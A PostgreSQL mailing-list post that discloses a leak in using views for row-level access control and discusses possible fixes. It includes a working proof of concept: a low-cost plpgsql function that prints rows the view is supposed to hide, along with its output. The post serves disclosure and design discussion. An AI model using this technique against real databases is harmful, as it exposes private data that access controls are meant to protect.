Using views for row-level access control is leaky - Mailing list pgsql-hackers

In chapter "36.4 Rules and Privileges" we show an example of using a
view to expose part of a table to other users, keeping other rows private:

> For example: A user has a list of phone numbers where some of them are
private, the others are of interest for the secretary of the office. He
can construct the following:
>
> CREATE TABLE phone_data (person text, phone text, private boolean);
> CREATE VIEW phone_number AS
>     SELECT person, phone FROM phone_data WHERE NOT private;
> GRANT SELECT ON phone_number TO secretary;

While it works for this example, if the WHERE clause in the view is more
complex, it is possible for the secretary to circumvent the protection
by filtering rows in a function used in the WHERE clause. If the
function has a lower cost than the restriction in the view, it will be
executed first and will see all the rows, even though they won't be
present in the final result set.

For example:

CREATE TABLE phone_data (person text, phone text);
CREATE VIEW phone_number AS   SELECT person, phone FROM phone_data WHERE phone NOT LIKE '6%';
GRANT SELECT ON phone_number TO secretary;

-- secretary should only see the first row
INSERT INTO phone_data VALUES ('public person', '12345');
INSERT INTO phone_data VALUES ('secret person', '67890');

\c - secretary

CREATE OR REPLACE FUNCTION expose_person (person text, phone text)
RETURNS bool AS $$
begin RAISE NOTICE 'person: % number: %', person, phone; RETURN true;
END; $$ LANGUAGE plpgsql COST 0.000001;

postgres=>  SELECT * FROM phone_number WHERE expose_person(person, phone);
NOTICE:  person: public person number: 12345
NOTICE:  person: secret person number: 67890   person     | phone
---------------+-------public person | 12345
(1 row)


Using views for access control like this is what we've been suggesting
to implement row-level access control for a long time. For example, Veil
depends heavily on this.


A related problem is that EXPLAIN ANALYZE too can reveal information
about the underlying tables that the view doesn't reveal, even if
there's no functions involved.


I posted this to security@postgresql.org first, and the conclusion was
to take the discussion to pgsql-hackers since there's no easy, robust
and back-patchable solution in sight. Options discussed include:

1. Change the planner so that conditions (and join!) in the view are
always enforced first, before executing any quals from the user-suppliedquery. Unfortunately that would have a
catastrophiceffect on performance.
 

2. As an optimization, we could keep the current behavior if the user
has access to all the underlying tables anyway, but that's nontrivial
because permission checks are supposed to be executed at runtime, not
plan time.

3. Label every function as safe or unsafe, depending on whether it can
leak information about the arguments. Classifying functions correctly
can be a bit tricky; e.g functions that throw an error on some input
values could be exploited. And it's not clear how a user could label
user-defined functions in a secure way. We'd still need the
infrastructure of point 1 to delay evaluation of non-safe quals, so this
is really just another optimization of it.

4. Make the behavior user-controllable, something along the lines of
"CREATE RESTRICTED VIEW ...", to avoid the performance impact when views
are not used for access control.


Thoughts?

--  Heikki Linnakangas EnterpriseDB   http://www.enterprisedb.com